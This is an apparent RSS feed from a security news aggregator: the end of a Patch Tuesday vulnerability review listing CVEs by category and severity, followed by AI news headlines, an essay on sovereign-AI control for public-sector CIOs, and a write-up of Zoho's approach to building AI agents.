  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[Microsoft’s New AI Beats Mythos And Shocks OpenAI]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694540/it-security-video/microsofts-new-ai-beats-mythos-and-shocks-openai/</link>
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<pubDate>Sat, 25 Jul 2026 19:02:33 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[The Most Dangerous AI Model Ever: Mythos]]></title>
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<link>https://tsecurity.de/de/3694521/it-security-video/the-most-dangerous-ai-model-ever-mythos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694521/it-security-video/the-most-dangerous-ai-model-ever-mythos/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:11 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[OpenAI's New GPT Cyber Beats Mythos 5]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694518/it-security-video/openais-new-gpt-cyber-beats-mythos-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694518/it-security-video/openais-new-gpt-cyber-beats-mythos-5/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Wie gefährlich ist die neue KI Claude Mythos?]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694519/it-security-video/wie-gefaehrlich-ist-die-neue-ki-claude-mythos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694519/it-security-video/wie-gefaehrlich-ist-die-neue-ki-claude-mythos/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Anthropic’s Secret Model Just Leaked "Mythos 6"]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694517/it-security-video/anthropics-secret-model-just-leaked-mythos-6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694517/it-security-video/anthropics-secret-model-just-leaked-mythos-6/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Anthropic’s Secret Model Just Leaked "Mythos 6"]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694422/it-security-nachrichten/anthropics-secret-model-just-leaked-mythos-6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694422/it-security-nachrichten/anthropics-secret-model-just-leaked-mythos-6/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[The Mythos Race: Trump’s New EO and Glasswing’s Expansion]]></title>
<description><![CDATA[A roundup of headline AI developments from this past week is warranted, as fast-moving decisions from the White House to Anthropic demand immediate attention. Plus, a look at what may be the AI metric that matters most.]]></description>
<link>https://tsecurity.de/de/3694405/it-security-nachrichten/the-mythos-race-trumps-new-eo-and-glasswings-expansion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694405/it-security-nachrichten/the-mythos-race-trumps-new-eo-and-glasswings-expansion/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A roundup of headline AI developments from this past week is warranted, as fast-moving decisions from the White House to Anthropic demand immediate attention. Plus, a look at what may be the AI metric that matters most.]]></content:encoded>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



